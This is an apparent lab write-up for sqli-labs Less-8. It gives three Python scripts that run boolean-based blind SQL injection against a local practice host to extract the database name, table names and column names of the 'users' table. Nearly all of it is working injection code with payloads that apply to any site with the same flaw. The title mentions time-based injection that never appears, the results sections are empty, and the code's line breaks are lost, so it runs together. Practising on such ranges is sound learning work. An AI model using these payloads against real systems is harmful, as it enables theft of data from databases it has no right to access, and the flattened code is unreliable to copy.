sqli_labs_master Less-8 时间盲注，boolen盲注获取数据库中的表、列

获取当前数据库名

import requestsdef inject_database(url):name=''max_length=20  # 假设数据库名称最大长度为20# ASCII范围：数字、字母、下划线（_）low={'a': 97, 'z': 122, 'A': 65, 'Z': 90, '0': 48, '9': 57, '_': 95}high={97: 'a', 122: 'z', 65: 'A', 90: 'Z', 48: '0', 57: '9', 95: '_'}for i in range(1, max_length + 1):low_val=32  # 起始为空格的ASCII码high_val=122  # 到z的ASCII码# 执行二分查找来找到每个字符while low_val < high_val:middle_val=(low_val + high_val) // 2payload=f"1' AND ASCII(SUBSTRING(DATABASE(),{i},1))>{middle_val}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功if 'You are in' in r.text:low_val=middle_val + 1else:high_val=middle_val# 获取字符并更新数据库名if low_val > 32:  # 跳过空格和其他不可见字符char=chr(low_val)name+=charprint(f"Current database name: {name}")# 重置low_val=32high_val=122print(f"Final database name: {name}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"inject_database(url)

结果

获取数据库表

import requestsdef inject_table_names(url, database_name):table_names=[]  # 用于存储所有表名max_length=20  # 假设每个表名的最大长度为20# 限制字符范围：数字、字母、下划线allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _# 获取数据库中所有表的个数# 查询所有表：我们假设表名的个数不超过100num_tables=100for table_index in range(num_tables):table_name=''for i in range(1, max_length + 1):low=min(allowed_chars)  # 最小值：'0'，ASCII 48high=max(allowed_chars)  # 最大值：'z'，ASCII 122middle=(low + high) // 2while low < high:# 构造布尔盲注的 payload，查询当前表的名字payload=f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功，依据靶场的返回信息if 'You are in' in r.text:  # 判断返回信息low=middle + 1else:high=middlemiddle=(low + high) // 2# 只拼接有效字符，跳过空格（ASCII 32）和其他非打印字符if middle in allowed_chars:  # 确保是有效字符table_name+=chr(middle)# 每次获取一个字符后打印当前的表名print(f"Current table name: {table_name}")# 重置 low 和 high 的值low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2if table_name:  # 如果当前表名非空，则保存它table_names.append(table_name)# 如果注入出了多个表，可以停止if len(table_names) >= 5:  # 假设只注入前五个表名breakprint(f"Final table names: {table_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security"  # 目标数据库名称inject_table_names(url, database_name)

结果

获取表的列

import requestsdef inject_column_names(url, database_name, table_name):column_names=[]  # 用于存储所有列名max_length=20  # 假设列名最大长度为20# 限制字符范围：数字、字母、下划线allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _# 获取表的所有列的个数num_columns=100  # 假设该表最多有100列for column_index in range(num_columns):column_name=''for i in range(1, max_length + 1):low=min(allowed_chars)  # 最小值：'0'，ASCII 48high=max(allowed_chars)  # 最大值：'z'，ASCII 122middle=(low + high) // 2while low < high:# 构造布尔盲注的 payload，查询当前列的名字payload=f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功，依据靶场的返回信息if 'You are in' in r.text:  # 判断返回信息low=middle + 1else:high=middlemiddle=(low + high) // 2# 只拼接有效字符，跳过空格（ASCII 32）和其他非打印字符if middle in allowed_chars:  # 确保是有效字符column_name+=chr(middle)# 每次获取一个字符后打印当前的列名print(f"Current column name: {column_name}")# 重置 low 和 high 的值low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2# 检查是否是有效的列名if column_name and not column_name.startswith("0"):  # 去掉以 "0" 开头的无效列名column_names.append(column_name)# 如果注入出了多个列，可以停止if len(column_names) >= 5:  # 假设只注入前五个列名break# 输出最终的列名print(f"Final column names: {column_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security"  # 目标数据库名称table_name="users"  # 目标表名inject_column_names(url, database_name, table_name)